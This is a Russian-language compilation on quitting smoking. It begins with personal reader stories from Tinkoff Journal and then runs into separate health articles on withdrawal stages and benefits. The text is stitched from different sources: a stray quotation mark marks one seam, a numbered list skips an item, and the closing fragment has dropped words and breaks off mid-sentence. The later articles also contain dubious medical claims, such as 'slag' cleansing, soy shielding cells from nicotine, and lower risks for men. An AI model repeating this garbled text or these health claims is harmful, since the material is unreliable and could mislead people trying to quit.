«Оказалось намного проще, чем я думала»: 8 вещей, которые помогают бросить курить

Избавиться от вредной привычки сложно. Но возможно, если правильно себя мотивировать.

Вряд ли кто-нибудь будет спорить с тем, что отказ от курения улучшает самочувствие. По данным ВОЗ, в течение 5—15 лет риск инсульта у бывшего курильщика становится таким же , как и у того, кто всю жизнь сторонился табака. Мы спросили читателей Тинькофф Журнала о том, что помогло им бросить курить. Вот их истории.

Это истории читателей из Сообщества. Собраны в один материал, бережно отредактированы и оформлены по стандартам редакции

Забота о собственном здоровье

Я начала курить в 18 и бросила сразу, как исполнилось 25 лет, — в августе прошлого года.

В сентябре 2020 года я заболела ковидом. Инфекцию переносила на ногах, продолжала работать удаленно, выматываясь до потери сознания. Было несколько ночей, когда я засыпала и думала, что не проснусь, перестану дышать. И моя дурная голова при этом продолжала курить… Какой же идиотский поступок.

Месяц я болела активно и еще месяц восстанавливалась. Потом на КТ мне постфактум поставили поражение легких 15%, сейчас в них осталось немного спаек — легочная ткань восстанавливается, что меня очень радует. Но курить я не бросила, только снизила дозу до трех сигарет в день.

С начала 2021 года пошли осложнения от ковида: обострились хронические болезни, пиелонефрит, мигрени, атопический дерматит. К вспышкам хроничек прибавились постоянные ОРВИ, в 2021 году я болела пять раз, даже летом: на улице +30 °C, а у меня кашель, горло болит и из носа течет.

В феврале 2022 года я была вымотана донельзя, даже суицидальные мысли посещали. Было тяжело держать ложку с едой в руке. Поэтому мотивация к переменам у меня была огромная.

Я пошла к врачу. Мне сразу сказали, что лечение не будет эффективным до конца, пока я курю. Также посоветовали отказ от алкоголя, но тут мне было легко, и с марта 2022 года я трезвенница. А вот к курению пришлось подойти основательнее.

Для начала решила хвалить себя просто нещадно за каждую отложенную в сторону сигарету.

Если целый день удавалось не курить, я просто называла себя богиней, не иначе. Рассказала всем, что пытаюсь бросить, сказала, что буду делиться успехами и неудачами, и попросила поддержки. Занималась программой лечения, решила: чем лучше буду себя чувствовать, тем проще будет бросить, ведь это дополнительная мотивация поддержать свое тело.

Я читала и смотрела все, что могла найти по теме влияния курения на организм. Раньше просто думала, что последствия нас касаются где-то там в старости, а молодость все простит. Теперь же я читала исследования, смотрела фильмы, штудировала медицинские журналы с одной целью — осознать, что делает курение с каждой частью нашего тела, будь то глазные яблоки, кости, селезенка, микробиом кишечника и прочее. Я поняла, что в жизни здорового и счастливого человека просто нелогично нахождение чего-то подобного курению — и, действительно, если полноценно и сбалансированно питаться, много двигаться и иметь хобби, то курить просто не захочется.

Уже больше полугода я без сигарет, и за это время мне ни разу не захотелось курить. Свою последнюю пачку я не докурила. Сначала она была заброшена в ящик и забыта. А когда я ее случайно нашла, она мне даже показалась какой-то чужеродной, и я ее без колебаний выбросила. От перенесенного ковида я все еще не восстановилась до конца, но один из главных шагов в сторону здоровья сделан.

Всем, кто хочет избавиться от курения, советую пробовать комплексный подход: изучите, что с вами делает привычка, а потом почитайте, что происходит, когда бросаешь. Я такой любовью и восхищением к своему телу прониклась, думала: «Вау, как наш организм удивителен, какую работу он проделывает, когда восстанавливается от этого».

Не поддавайтесь стадному инстинкту на работе или в компании. Если все с крыши прыгать пойдут, вы тоже сиганете? Работайте с телом: стресс-менеджмент, налаженный сон, еда, которая содержит в себе все необходимое для тела, физическая активность гарантированно уменьшают тягу. На эту тему есть даже научные работы и эксперименты с доказанной эффективностью. Главное — любите себя и найдите за что полюбить эту жизнь, тогда и загубить все не захочется.

жалеет, что не бросила раньше

Курить я начала с 16 лет. Сначала не хотела пробовать, но вокруг все курили, и я втянулась. Прекращала только во время беременности, а после начала снова. Это длилось очень долгое время, 26 лет. Курила много, пачки мне хватало на полтора дня, а то и на день.

Стала беспокоить одышка, усталость, постоянный кашель курильщика. Бороться с этим я пыталась то с помощью пластыря, то жвачку жевала, но все мои слабые попытки бросить не увенчались успехом. И вот наступило 28 мая 2008 года. Я курила до 16 часов дня, а потом сказала себе: стоп, больше я не курю.

Стала ждать. День прошел — жива. Неделя — думаю, что дальше будет, полет нормальный. Месяц — все еще жива. Я сразу сказала себе: что бы ни случилось, какой бы ни был стресс, курить не буду! Вот так сначала день за днем, потом месяц за месяцем — я и отвыкла. Сначала восстановилось обоняние, потом вкус, потом сошел на нет кашель курильщика, прошла усталость, появились силы на спорт.

С тех пор прошло почти 15 лет, я забыла эту привычку как страшный сон и жалею, что не сделала этого раньше. За время моего отказа от курения я набрала вес, а затем благополучно его скинула, но это уже совсем другая история.

Спорт

Курил со школы — больше 20 лет. Увлекся лыжами, понял, что табак мне мешает, плюсов не обнаружил, со временем и бросил.

До этого бросал очень много раз, несколько десятков точно, пробовал переходить на вейпы, другой формат сигарет, сигариллы. Курил реже в последние годы. А бросил, когда не делал никаких планов, просто появилась реальная мотивация. Если в предыдущие разы была какая-то борьба, то в последний раз ее не было. Стал регулярно кататься на лыжах и лыжероллерах, бегать. Перестал вставлять сигареты в рот и поджигать их.

Отказаться было абсолютно не трудно, я вообще не понял сам, что бросил. Просто как-то обратил внимание, что несколько месяцев не покупаю табак и не курю. Жить стало проще: не надо регулярно покупать сигареты, прятаться от ребенка, вещи не пахнут табаком, теперь у меня хорошее обоняние, да и самооценка повысилась — если я курить бросил, то еще много чего могу :)

Самый легкий способ бросить курить — это заняться спортом, желательно аэробным. Сразу будет наглядно видно, насколько курение — пагубная привычка. Самые эффективные активности — те, где в процессе участвует все тело: плавание, лыжи, когда идет значительный подъем пульса на продолжительное время. Это просто противоестественно — идти курить после продолжительной тренировки на пульсе 140—150 , а то и выше. Вам просто не захочется себя гробить — инстинкт выживания никто не отменял.

Была заядлой курильщицей. Бросала много раз, но мне было очень сложно сделать это с помощью силы воли.

Долгое время, пока была молодая, мне нравилось курить. Это же целый ритуал! Выйти покурить после завтрака с чашечкой кофе. Или с подругой посплетничать с одной-другой сигареткой. Сложно было отказаться именно от этой ритуалики. В новых рабочих коллективах дружеские взаимоотношения завязывались именно в курилке.

Но ближе к 35 мне уже хотелось отказаться от этой привычки, так как раздражал отвратительный запах, финансовые расходы на сигареты и сам факт зависимости от этой гадости.

Я предприняла несколько безуспешных попыток бросить курить. И только практика йоги помогла навсегда и осознанно отказаться от этой привычки и не пытаться чем-то ее заменить. Но это произошло тоже не сразу. Сначала практика йоги помогла уменьшить количество сигарет до минимума — пары штук в день. Я также уменьшила употребление спиртного, а крепкий алкоголь вообще перестала употреблять. Но все же оставалась курящей. Пыталась себя обманывать, мол, одна сигарета в день — это я почти и не курю. Но где-то через год призналась себе в том, что остаюсь зависимой.

Йога научила меня наблюдению и принятию. Я наблюдала и ждала, когда же мой организм полностью отвергнет эту привычку. Переходила на электронные сигареты, айкос. От айкоса после полугода курения я стала очень плохо себя чувствовать, болел живот и желудок. Отказалась от него. И тут обнаружила себя перед выбором: так как айкос мне не подходит, а обычные сигареты я уже не могу курить, надо пробовать вообще ничего не курить. А курить — держать что-то в руках, втягивать дым, выдыхать его — очень хотелось, если честно. Пробовала кальян. Но он для меня очень тяжелый, много смолы. Я задыхалась и кашляла.

И вот он, момент истины — я осознала, что смогу без этого! Смогу не курить.

А просто дышать, вдыхать воздух, глубоко, полной грудью. И от этого получать удовольствие!

Так как я была преподавателем йоги, то скрывала, что курю. Мне было очень стыдно от этого, я испытывала чувство вины. Это продолжалось чуть больше двух лет. Тогда я проживала настоящий внутренний конфликт от этого.

И вот уже с сентября 2020 года я живу без этой пагубной привычки. Я очень горда за себя. Это действительно большая победа в моей жизни. Чувствую себя свободной и счастливой. А еще — здоровой! Мое физиологическое состояние улучшилось в разы. Я профессионально занимаюсь йогой и преподаю ее, получила второе высшее образование — йогатерапевта, открыла свою йога-студию , занимаюсь альпинизмом. Мне в этом году исполнится 40 лет. Но я чувствую себя здоровее, бодрее и свежее, чем в 25 лет. Мой ум и сознание стали яснее и спокойнее.

Всем желаю удачи на таком нелегком пути, как отказ от курения или любой другой пагубной привычки. Ищите свой конструктивный или созидательный способ сделать это.

Сложный ритуал

дала ценный совет

Курила 13 лет. Доходило до двух пачек красного «Честера» или «Мальборо» в день. Бросать не пыталась. Но неудобно, что вся жизнь так или иначе крутится вокруг курения: взяла ли сигареты и зажигалку, хватит ли курева на определенное время. На встречах постоянно думаешь, скоро ли можно будет выйти покурить. Очень тупо было попадаться на штрафы за курение в общественных местах. Ну в школе, само собой, было очень неудобно курить, особенно в туалете. Палево дикое.

Поняла, что надо заканчивать, когда почувствовала, как при вдохе в легком что-то булькает и противно хлюпает. Но тогда сил хватило только поменять сигареты на легкий «Вог». Еще в какой-то момент внезапно ощутила, насколько все вокруг курящих людей воняет. Рот, руки, одежда, волосы насквозь прокуренные. У многих дырки на передних зубах, у меня тоже были. За каждую пломбу отдала по 7500 ₽. То есть бросить помог не один случай, а скорее комплекс случаев.

Сначала сделала из курения некий культ. У меня был табак, бумага, машинка для забивки, фильтры, портсигар и мундштуки. В итоге меня все эти ритуалы так заколебали, что я решила: бросить будет намного проще. Тем более что вонять я не перестала.

Просто не закурила следующую. И еще одну. И еще. У меня еще долго лежала начатая пачка табака — через несколько месяцев я ее выкинула вместе с остальным. Какое-то время было непривычно без постоянного ощущения предмета в руке. Брала у кого-нибудь сигарету и просто крутила в пальцах. А потом и эта привычка ушла.

Оказалось намного проще, чем я думала. Бросила с первого раза. А когда произошли явные изменения в здоровье, пропали остатки сожаления.

Не курю уже лет 15 или больше. Лучше бы не начинала, конечно. Жизнь не привязана к сигаретам, могу идти, куда и когда хочу, с пустыми карманами. Посоветую задолбать себя этой привычкой до отвращения, но только тем, кто действительно хочет уже бросить.

Сила воли

избавился от рабства привычки

Я курил с 18 лет — до сих пор не знаю, зачем начал. К 30 годам стал задумываться о том, чтобы бросить эту привычку. Понял, что мне это не нужно.

Как говорил Марк Твен, бросить курить легко — сам, мол, сто раз это делал. Поэтому метод наскока не для меня. Чтобы этого не было, у меня была какая-то тактика, и я ее придерживался.

Во-первых , я, естественно, прочитал Аллена Карра. Во-вторых , стал сокращать количество сигарет и за несколько месяцев дошел до трех в день. Курил немного электронные сигареты. Потом настал самый сложный прежде всего психологически этап последней сигареты — и я ее выкурил в аэропорту Тампере. Потом немного никотиновой жвачки — и все.

Бросить курить сложно, потому что это прежде всего психологическая, а потом уже физиологическая привычка. Сигарета входит в ритуал: идешь на работу — закурил, пообедал — покурил, важный звонок — покурил, захотел поболтать с коллегами — вышел покурить. Поэтому первостепенно разорвать связь между ними. Потом — физиология, тоже нелегко. Но современные средства — жвачки, пластыри, спреи — и мотивация помогают.

Я не курю много лет и ни разу не пожалел об этом. Избавился от рабства привычки и преодолел себя.

прониклась идеей некурящей девушки

В общей сложности курила лет десять, но с разной степенью интенсивности и периодами бросания. И курила дешевые сигареты на карманные деньги, и ездила специально в центр города за дорогими американскими сигаретами «Счастливый удар», потому что продавались они только в этой палатке.

Неудобство в основном было только одно: дома не знали, что я курю, приходилось прятаться. В то время еще можно было курить в кафе и тамбурах поездов.

У моего случая нет никаких романтичных предысторий, так как бросила действительно одним днем, собрав все, что было в карманах, и кинув в мусорку. Но сейчас вспоминаю времена, когда курила, и кажется, что меня «обрабатывало» окружение. В учебных заведениях, где училась уже после школы, курение было под строгим запретом. Родители не курили. Многие знакомые говорили, что курить мне не идет. Молодой человек на тот момент тоже был равнодушен к курению и не очень-то приветствовал мое. Там, где я работала, коллективы были некурящими в подавляющем большинстве. В итоге даже близкая подруга забеременела, рядом с ней я не курила, все как бы намекало :)

В 2014 году я была на свадьбе у подруги в глубокой деревне, где живет ее мама. Там не принято, чтобы девушка курила. Мне кажется, я была единственной дамой с сигаретой. За три дня общения с жителями поселка и вдохновляющего самогона на кедровых орехах я как-то прониклась идеей некурящей девушки, поэтому в день, когда мы уезжали, просто собрала по карманам и сумкам все, что у меня было, и выкинула в помойку. С тех пор не сделала ни одной затяжки.

Сложно было первое время в компании, когда собирались с друзьями и выпивали, но я просто не закуривала, и все. Так можно.

В 2024 году будет десять лет, как я не курю. Десять!

Честно говоря, истории про то, что человек бросил курить и накопил на машину, стал олимпийским чемпионом по бегу и так далее — для глянцевых журналов. Это неправда, жизнь не меняется кардинально, если в целом от привычки не было больших проблем. Из того, что поменялось, — стал по-другому ощущаться вкус еды. Я перестала любить полуфабрикаты, потому что чувствую только соль. При курении такого не было. Из приятного — волосы пахнут косметическими средствами, а не пепельницей.

Мой разрыв с сигаретами пришелся одновременно с запретом на курение в общественных местах, поэтому в плане социальной жизни я спокойно могу сидеть в театре, ехать в поезде, не выходить из здания аэропорта и так далее. Друзья, которые курят, так не могут, сейчас мне это чудно, неужели нельзя потерпеть несколько часов? Но, видимо, плохие привычки быстро забываются.

У меня в целом нет проблем с зависимостями, поэтому мой способ подойдет не всем. Думаю, у людей с проблемами не так все просто, но, если вдруг вы ощущаете, что делаете что-то просто потому, что так принято у вас в компании, или вообще без личных глубоких мотивов — смело бросайте. Земля не перестает крутиться, и даже друзья не разбегаются, если вы больше не будете связаны тем, чтобы вместе бегать курить каждые полчаса.

Татьяна Войтенко (Борисенко)

бросила курить в 69 лет

Курила 52 года. Но, во-первых , курение стало влиять на состояние здоровья. Во-вторых , непомерно возросла цена на сигареты.

Бросать практически не готовилась. Приняла решение перестать курить на следующий день. Посмотрела в календаре, засмеялась, ведь было 1 апреля, и решила бросить курить со второго числа. Что и выполнила — с первого раза. Просто решила и бросила. Поддержка близких мне была не нужна.

Скоро исполнится пять лет этому замечательному событию. Что я могу посоветовать в свои 74 года? Если необходимо бросить курить, то это нужно делать сразу, без каких-либо поблажек для себя.

Раньше я любила вечерком сесть на кухне на стул, поджать ноги, взять книжечку, закурить и таким образом получать большущее удовольствие. Первое время брала книгу, шла на кухню, без сигареты садилась на кухне на табурете, поджав ноги, и так ее и читала. Я называю это заменой действия. Вначале меня тянуло на кухню покурить, а потом довольно быстро организм успокоился.

Мобильное приложение

Я начала курить в подростковом возрасте в начале 2000-х. В то время это было модно, курили все мои сверстники и друзья. Со временем я начала беспокоиться о своем здоровье, понимая, что ничего хорошего мне это не приносит. Я чувствовала, как пахнет моя одежда, что у меня кашель курильщика, но не могла остановиться, потому что мне это нравилось. Я хотела не хотеть курить. Но это невозможно.

Потом я узнала, что у меня рак. Продолжала курить, пока проходила обследования и готовилась к лечению. Когда день первой химиотерапии был назначен, я понимала, что должна пощадить свой организм, ему и так будет сложно, а тут еще и сигареты.

Я помню, что на 3 июля 2019 года была назначена первая химия. 2 июля я должна была выехать в Москву, где проходило лечение. Тогда я дала себе обещание, что с третьего числа курить уже не буду. Я встала утром второго числа и подумала: а почему бы не сегодня? И не курила.

Бросила в один день, получается. Очень хотелось. Но я просила себя подождать еще чуть-чуть. Убеждала, что покурю попозже. И я бы сделала это, если бы мне было о-о-очень нужно. Но крайней степени необходимости не наступило. Я смогла продержаться до следующего дня. Это был первый день за много-много лет, когда я не выкурила ни одной сигареты.

Установила приложение «Не курю», мне его посоветовал друг. Оно рассказывало, сколько дней я не курю, сколько сигарет уже не выкурила, сколько денег сэкономила, как это отразилось на моем организме. Иногда эта информация очень мотивировала, и мне было жалко запускать счетчик сначала. Так и держалась.

Я надеялась, что желание курить скоро пройдет. Но ни через три месяца, ни через девять месяцев этого не произошло. Я по-прежнему хотела курить. Не так часто, как раньше, но иногда чувствовала потребность. В основном это желание возникало, как рефлекс. Во время разговора по телефону, долгой поездки за рулем или во время уборки дома, когда покурить — это маленький перерыв и отдых. Я отказывала себе. Но знала, что любой дым, попавший мне в рот, мог сломать меня. Я не смогу противостоять себе снова с той же твердостью, если снова закурю сигаретку. Рак я победила. А желание курить — нет.

Как-то раз, будучи подшофе, я все-таки попросила у кого-то сигарету. Это было спустя пару лет после дня икс. Как же это было отвратительно! Этот ужасный вкус во рту! Этот отвратительный горький, горячий дым! Только почувствовав, что курение больше не вызывает того удовольствия, что было раньше, я перестала хотеть курить. Это была долгожданная победа. И это было главное для меня. Потому что я против насилия к себе, и все, что заставляет страдать, меня гнетет. Я страдала во время лечения от рака и поняла, что больше не готова причинять своему телу осознанные страдания. Все должно быть только в удовольствие: работа, люди, еда, занятия и все-все-все.

Летом 2022 было три года, как я не курю сигареты. Каюсь, что стала баловаться электронными вкусными штуками. Они не воняют, а обладают сладким вкусом. Они стали тем, чего я боялась: мне стало приятно их курить.

"

Отказ от курения. Как бросить курить

Бросить курить не такое уж простое дело, как кажется на первый взгляд. В первые же дни организм начинает реагировать на отсутствие никотина. Многие срываются буквально через пару недель. Чтобы этого не произошло, важно знать, как тело день за днём реагирует на отказ от сигарет, и отслеживать все неприятные проявления. Осознание происходящего укрепит волю в борьбе с вредной привычкой.

Почему нужно бросать курить

Отказаться от сигарет в первую очередь важно для собственного здоровья. Никотин пагубно влияет не только на лёгкие, хотя они и страдают сильнее всего. Ухудшается работа сердца, нарушается эластичность сосудов, что, в свою очередь, может рано или поздно привести к их истончению и разрыву. Состояние внутренних органов курильщика сказывается и на внешнем виде – эмали зубов, коже, волосах.

Риски длительного курения:

онкологические опухоли, сердечно-сосудистые заболевания, патологии дыхательных путей, кислородная недостаточность, язва желудка и другие заболевания ЖКТ, болезни полости рта, гипертония.

Курение влияет на репродуктивную функцию как женщин, так и мужчин. Полностью избавиться от токсинов и максимально восстановиться организм может лишь через 10 лет после отказа от сигарет. Однако и в первый год без вредной привычки уже заметно значительное улучшение состояния здоровья.

Стадии отказа от курения

Человек, решивший бросить вредную привычку, чаще всего проходит четыре стадии:

1. Принятие решения.

2. Мотивация и действие.

4. Прогресс или регресс.

На последней стадии после срыва лишь волевое усилие способно заставить бывшего курильщика всё-таки окончательно бросить сигареты. В противоположном случае он может вернуться к ним.

По дням

Первые сутки после отказа от сигарет проходят легко и приятно. За это время организм ещё не успел понять, что его лишили никотина.

Именно в этот период появляется некий душевный подъём и надежда на успех. Уже в это время начинаются первые положительные изменения:

снижается концентрация угарного газа, в крови появляется больше кислорода, восстанавливаются слизистые лёгких, кашель теряет остроту.

В течение первых нескольких дней без курения нормализуются пульс и давление, поэтому риск сердечных приступов и инфарктов снижается.

Самое сложное – пережить никотиновую ломку в течение этого времени. К концу 7 дня у большинства бывших курильщиков она проходит.

По неделям

Если через одну неделю снижается физиологическая зависимость, то от психологической никуда не деться. Первые 2-3 недели особенно опасны, с точки зрения срыва, велик соблазн присоединиться к курящим знакомым или проверить, нравятся всё ещё сигареты или уже нет.

Пик психологической ломки приходится на последнюю неделю первого месяца. Именно в это время важно сжать волю в кулак и противостоять желанию взять сигареты. Помощь близких людей на этом этапе особенно необходима.

По месяцам

К концу первого месяца сильна психологическая ломка. В это время возможны депрессивные состояния, апатия. Физическое самочувствие, напротив, улучшается с каждым месяцем, в частности:

восстанавливается кожа, укрепляются сосуды, улучшается работа ЖКТ, облегчается дыхание, исчезает одышка.

Через 9-10 месяцев можно смело начинать физические нагрузки без каких-либо ограничений. Тяга к сигаретам через год, как правило, полностью пропадает.

Как организм реагирует на отказ

Когда токсины больше не поступают в тело, их воздействие на все системы снижается. Постепенно запускается процесс выведения яда из крови и органов дыхания, восстанавливается кислородный баланс. Лёгкие и бронхи постепенно очищаются от слизи, в результате пропадает характерный кашель.

Отказ от сигарет приводит к ряду положительных изменений, в число которых входят:

1. нормализация кровообращения и артериального давления,

2. оздоровление сосудистой системы,

3. снижение рисков рака и сердечных болезней,

4. улучшение внешнего вида,

5. замедление старения и изнашивания внутренних органов,

6. исчезновение кашля и одышки,

7. прилив сил и бодрости,

8. улучшение общего физического состояния.

К людям, отказавшимся от курения, возвращаются обоняние и вкус. Дышать становится легче, а объём лёгких приходит в норму.

Положительные последствия отказа от курения

Перемены в психологическом и физическом состоянии заметны уже в первые дни после отказа от сигарет. С каждым днём, неделей и месяцем самочувствие становится всё лучше. Зависимость исчезает, но происходит это не в один момент.

Неделя без сигарет

Итак, что случится с организмом без курения в первую неделю:

1. Первый день. Самый лёгкий из всех. Настроение хорошее, есть воодушевление, а в крови больше не увеличивается концентрация угарного газа.

2. Второй. Желание покурить возвращается с удвоенной силой, появляется раздражительность. На вторую ночь сложно уснуть, поскольку мысли заняты только тем, где достать сигареты. Негативные последствия курения тоже усиливаются: болит живот, появляется кашель.

3. Третий день. Сложный психологически, т. к. все мысли только о сигаретах и от них практически невозможно отвлечься. На коже может выступить сыпь.

4. Четвёртый день. Восстанавливается мозговое кровоснабжение, настроение улучшается, но при этом бывший курильщик может ощущать некоторую рассеянность. Нормализуется сон.

5. Пятый день. Самый тяжёлый в первую неделю в психологическом плане. Если в это время удастся не закурить снова, есть надежда, что получится избавиться от привычки навсегда. В этот же период начинают восстанавливать чувствительность вкусовые рецепторы. Вкус еды и напитков становится более отчётливым.

6. Шестой день. Физическая ломка продолжается, и этот день ещё хуже, чем третий. Интенсивность симптомов возрастает вплоть до тошноты и рвоты после еды, дрожи в руках и отхаркивания чёрной слизи из лёгких.

7. Седьмой день. Признаки ломки ослабевают и можно говорить о том, что физическая зависимость прошла, а все самые тяжёлые симптомы позади. Остаётся лишь побороть психологическую ломку, которая непременно будет давать о себе знать ещё долгое время.

Первая неделя самая знаковая, она же – наиболее тяжёлый период после отказа от сигарет.

Именно в это время особенно важна поддержка со стороны, чтобы человек не вернулся к пагубной привычке.

Месяц без курения

Через месяц жизни без сигарет состояние лёгких станет намного лучше. Именно такой срок нужен для обновления слизистой в бронхах. Благодаря улучшению кровообращения в клетки поставляются все необходимые вещества, а также укрепляется иммунитет. Лейкоциты и тромбоциты к этому времени полностью обновлены, а вот эритроцитам ещё нужно время.

Что ещё произойдёт с организмом после месяца без сигарет:

1. Кожа приобретёт здоровый вид, вернётся румянец.

2. После месячного отказа от сигарет многим становится неприятен запах табачного дыма.

3. Есть риск набрать лишние килограммы из-за повышенного аппетита.

4. Боли в животе ещё могут беспокоить, поскольку состояние желудка до конца не восстановилось.

5. Кашель практически исчезает.

По сравнению с первой неделей к концу месяца сигарет хочется меньше. Но всё же не стоит экспериментировать и пробовать покурить из интереса.

Год без никотина

Уже через полгода полностью восстанавливаются кожа и кровь, очищаются лёгкие от слизи. Больше всего времени требуется печени. Первые полгода она борется с остатками токсинов и лишь после этого начинает приходить в норму.

Вес и аппетит через год после отказа от сигарет восстановлены и находятся в норме, а эмоциональное состояние уже достаточно стабильно. Тяги к курению к этому сроку нет ни физической, ни психологической. Появляется больше способов занять себя и разнообразить досуг.

Побочные эффекты отказа от сигарет

То, что организм становится здоровее после отказа от курения, это хорошо. Но в первое время из-за перестройки обмена веществ, нарушенного никотином, могут появляться неприятные симптомы:

снижение иммунитета, язвочки на языке, постоянные простудные заболевания, раздражительность, бессонница.

Многие в этот период набирают вес, пытаясь заесть желание покурить.

Когда никотиновая ломка проходит и интерес к сигаретам полностью пропадает, масса постепенно возвращается в норму.

Что происходит, если бросать курить резко

Чем дольше человек живет с этой привычкой, тем сложнее ему будет бросить сигареты с первого раза.

Резко отказаться от курения и больше не притрагиваться к табаку можно, если стаж зависимости менее пяти лет. Те, кто курят дольше и более пачки в день, чаще всего срываются в первые две недели. Им приходится начинать всё снова.

Главная причина возврата к курению – это физическая никотиновая зависимость. На её формирование требуется около пяти лет, до этого срока речь идёт больше о психологическом влиянии сигарет.

Если заядлый курильщик бросит курить резко в один день, в первую же неделю он начнёт испытывать неприятные симптомы: слабость, головокружение, тревожность, неконтролируемый голод.

Как помочь организму при борьбе с курением

Организму нужно помочь быстрее восстановиться после никотиновой зависимости, для чего потребуется скорректировать питание. В рацион с этой целью включают больше продуктов, богатых антиоксидантами и витаминами групп А, С и Е.

При необходимости можно принимать препараты с витаминами и микроэлементами. Это актуально, если не получается восполнять суточную норму с пищей. Полезно есть сою, так как в ней присутствуют вещества, защищающие клетки от губительного воздействия никотина.

Не менее важен психологический настрой. Без должной мотивации попытки отказаться от сигарет практически бесполезны. Чтобы убедить себя бросить курить, можно использовать разные варианты – от подсчётов сэкономленных денег до оценки состояния здоровья.

По статистике, лишь малая часть курильщиков (6%) способна пережить отказ от сигарет и не вернуться к курению, полагаясь на сильную волю. Большинству, кроме психологического усилия, требуются медикаменты, заместительная терапия и поддержка врача.

Существует много разных программ для людей с зависимостями. Самые успешные из них основываются на комбинированном лечении.

Чего лучше не делать при отказе от табака

Не стоит заменять сигареты в первое время на что-то никотиносодержащее, а также переходить на вейп или более лёгкий табак. Это не только замедлит процесс, но и может усугубить зависимость. Лёгкие сигареты захочется курить чаще и больше, поскольку концентрация никотина в них меньше привычного, а организм будет требовать свою дозу.

Вопреки расхожему мнению, не стоит бросать постепенно, день за днём уменьшая количество выкуренных сигарет. Кроме того, каждая затяжка в такие перерывы будет казаться ещё желаннее. Лучше сразу назначить дату, в которую во рту больше не окажется ни одной сигареты.

Во время никотиновой ломки нельзя находиться в курящих компаниях или выходить в курилку просто так вместе со всеми. Всё, что напоминает об этой привычке, должно быть убрано с глаз. И уж тем более нельзя обещать себе «сегодня последнюю сигаретку, а завтра всё». К сожалению, такие сделки с собой не работают.

Особенности отказа и изменений в организме у мужчин и женщин

Бросить курить трудно, особенно если стаж большой. Крайне важно отказаться от сигарет женщинам. У мужчины половые клетки, испорченные влиянием никотина, через некоторое время заменяются. А количество яйцеклеток ограничено, и в течение жизни организм расходует их запас. Чем еще отличается влияние курения на женский организм:

при беременности возрастают риски повышенного давления и обмороков, слабости, усиливается токсикоз, плод недостаточно снабжается кислородом, возрастает риск выкидыша, плод получает меньше полезных веществ из-за плохого состояния сосудов, кроме того, токсины вредят ему не меньше, чем матери.

Что касается негативного влияния, никотин сильно разрушает женское здоровье, но при отказе от сигарет период восстановления практически не отличается от такового у мужчин. Уже в первый месяц можно наблюдать положительную динамику. У женщин, бросивших курить, отмечаются следующие изменения:

улучшается кровообращение и снабжение клеток кислородом, питательными веществами, восстанавливается обмен веществ, кожа и волосы становятся здоровее, укрепляется иммунитет, исчезает кашель и одышка, организм очищается от шлаков, нормализуется работа сердца и артериальное давление, восстанавливается обоняние.

Кроме того, у женщины, бросившей курить, восстанавливаются либидо и менструальный цикл, а риски раннего климакса снижаются.

Разумеется, курение негативно влияет и на мужскую половую систему, но риски не так велики из-за отсутствия детородной функции.

Заключение

Борьба с курением является процессом длительным и сложным. Преодолеть физическую и психологическую зависимость в одиночку трудно, необходима поддержка со стороны близких, и, возможно, нужны медикаментозные средства. При необходимости можно проконсультироваться с психотерапевтом и наркологом. Комплексный подход поможет справиться с зависимостью и вернуться к здоровой жизни.

Сегодня знают практически все, что курение оказывает негативное воздействие на организм человека. Поэтому, они должны знать и то, что происходит с организмом, когда бросаешь курить. При отказе от этой пагубной привычки человек сталкивается с проблемой никотиновой зависимости. Если человек курит непродолжительное время, процесс реабилитации пройдет легко и практически незаметно. Но если человек имеет огромный стаж курения, то отказ от курения часто приводит к развитию стрессового состояния, а в некоторых случаях и к расстройству психики. Что же происходит с организмом при отказе от вредной привычки?

Что влияет на регенерацию организма?

Восстановление организма после отказа от курения происходит, как правило, долго и нелегко, конечно, все зависит от стажа курения, индивидуальных характеристик организма, возрастной и половой принадлежности человека, наличия у него заболеваний, состояния иммунитета. У одних этот процесс протекает стремительнее и легче, а другим может потребоваться помощь извне. Но обычно на регенерацию организма уходит около одного года.

Синдром отмены

Сначала реакция организма на отказ от курения будет отрицательной.

У человека начинают проявляться следующие признаки:

сильное желание закурить, повышение тревожности и беспокойства, раздражительность, снижение концентрации внимания, нарушение сна, сны приобретают яркие окраски, снижение памяти, наличие постоянных мыслей о сигаретах, головная боль, головокружение, повышенная потливость, тремор, кашель с образованием мокроты, которая тяжело отходит, нарушение деятельности органов ЖКТ, частые запоры, повышенный аппетит, непреодолимое желание поесть, кожные высыпания, воспаление слизистого эпителия ротовой полости, боль в горле, развитие депрессии и эмоциональной нестабильности.

Постепенно все вышеуказанные явления начнут проявляться в меньшей степени. Через три недели они практически полностью исчезнут. Такие реакции организма принято считать естественными во время функционирования без никотина и прочих токсинов. Все негативные явления в медицине именуются синдромом отмены, который не представляют опасности для организма.

Также период реабилитации может сопровождаться нарушением иммунной системы, поэтому человек ближайшие три месяца подвержен заболеваниям. Все это обуславливается адаптацией организма к новым условиям функционирования. Медики связывают время восстановления организма человека с длительностью периода, на протяжении которого он злоупотреблял никотином.

Положительные стороны

Организм после отказа от курения будет восстанавливаться постепенно, состояние здоровья со временем улучшится.

Отказ от сигарет имеет ряд плюсов:

улучшение самооценки, исчезновение признаков интоксикации, снижение вероятности появления заболеваний внутренних органов, увеличение продолжительности жизни на десять лет, избавление близких людей от пассивного курения, снижение риска появления заболеваний вирусного генезиса, исчезновение желтого налета на зубах и неприятного запаха изо рта, нормализация пульса и кровяного давления, устранение синдрома трясущихся рук, повышение физической выносливости, снижение риска формирования бесплодия, а также рождения детей с аномалиями развития, улучшение деятельности рецепторов вкуса и обоняния.

Все ведет к тому, что человек начинает ощущать себя намного лучше. Робота всех органов и систем начинает приходить в норму, исчезает одышка и так называемый кашель курильщиков, увеличивается работоспособность, человек становится активным, у него появляется больше свободного времени и улучшение финансового состояния.

Как бросить курить

О том, почему табак убивает, отказаться привычки без труда, рассказывает главный внештатный специалист Сергей Анатольевич Анфимов.

У курильщиков длительного курения развиваются различные болезни.

Забота здоровье своих близких – самая распространенная причина бросить курить.

Курение – важный фактор развития многих легочных заболеваний числе развития хронической обструктивной болезни легких (ХОБЛ), при которой развивается эмфизема легких бронхит. Симптомы ХОБЛ: хронический кашель, одышка количества мокроты.

Курение – главная причина рака полости рта, гортани, бронхов, легких, пищевода, мочевого пузыря, почек, матки, поджелудочной железы

Курение – фактор риска таких сердечно-сосудистых болезней, как: инсульт, инфаркт миокарда, ишемическая болезнь сердца, облитерирующий эндоартериит патологические состояния, приводящие

